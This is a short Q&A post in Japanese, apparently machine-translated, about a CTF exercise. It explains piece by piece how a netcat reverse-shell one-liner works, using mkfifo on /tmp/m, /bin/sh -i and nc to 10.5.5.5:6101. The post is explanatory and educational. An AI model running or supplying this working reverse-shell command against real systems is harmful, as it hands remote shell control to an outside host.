あるプラットフォームで CTF チャレンジを行っているときに、リバース シェルが必要でしたが、動作させることができなかったため、プロセスを調べて、リバース シェルのコードを 1 つ見つけました。
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
実際には動作しましたが、パイプがどのように動作しているのか、どこにデータが送信されているのかなど、実際には理解できません。誰かこれを説明してくれませんか?
答え1
これにより、システム上にリモート制御シェルが設定されます。入力と出力は次のとおりです。
cat /tmp/m
FIFOから読み取り/tmp/m
、それを ... に書き込みます。|/bin/sh -i 2>&1
読み取ったコマンドを実行し、その出力 (標準出力と標準エラーの両方) を ... に送信します。|nc 10.5.5.5 6101
10.5.5.5:6101に接続し、>/tmp/m
FIFO。
したがって、リモート システムはコマンドを送信できます。コマンドは を介して送信されnc
、 によって FIFO に書き込まれ、 によって読み取られcat
、 によって解釈されsh
、それらのコマンドの出力は を介してリモート システムに送り返されますnc
。